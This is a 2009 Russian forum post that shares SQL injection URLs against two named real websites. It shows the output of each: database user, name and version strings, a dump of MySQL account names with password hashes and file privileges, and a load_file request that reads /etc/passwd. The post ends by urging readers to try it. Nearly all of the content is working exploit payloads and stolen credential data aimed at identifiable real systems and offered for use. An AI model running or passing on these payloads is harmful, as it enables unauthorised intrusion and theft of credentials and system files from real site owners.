
10.03.2009, 22:47
|
|
Постоянный
Регистрация: 20.11.2008
Сообщений: 406
С нами:
9196401
Репутация:
930
|
|
www.intercom.ru
Код:
http://www.intercom.ru/press/index.html?id=-10+union+select+concat(user(),0x3a,database(),0x3a,version()),2,3,4,5--
user(): intercom@localhost
database(): intercom
version(): 4.0.17
PR=4
football.alphatv.ru
Код:
http://football.alphatv.ru/news.html?id=-10+union+select+concat(user(),0x3a,database(),0x3a,version()),2,3,4,5,6,7--
user(): football@localhost
database(): ootball
version(): 5.0.51a-12-log
PR=5
Код:
http://football.alphatv.ru/news.html?id=-10+union+select+concat(user,0x3a,password,0x3a,file_priv),2,3,4,5,6,7+from+mysql.user--
Код HTML:
root:2727417e4e7bb038:Y
root:2301137474663dd6:Y
debian-sys-maint:*0220C5C9224BC30C74598ED193843487AE09BD20:Y
alpha:*BD66B1F6FB23D3DBC4E5DDF5B5FF1A4473950D95:N
forum:19f70f607ae86cfa:N
mnogo:5940e12325c5907f:N
football:30e938253a8a9594:Y
eromantica:035c3a8a4d0471db:N
john:2f0bd6315e3fe4bb:Y
john::Y
sayapin:37072e0b140f7dc7:Y
zavit:23d062547458cc22:N
sphinx:5daa5bb2161dd656:N
teleport2001:4edb331935cd80c4:N
forum2:02b3cef531f2e210:N
bugz::N
football::Y
и наконец читаем /etc/passwd
Код:
http://football.alphatv.ru/news.html?id=-10+union+select+load_file('/etc/passwd'),2,3,4,5,6,7+from+mysql.user--
дерзайте..
|
|
|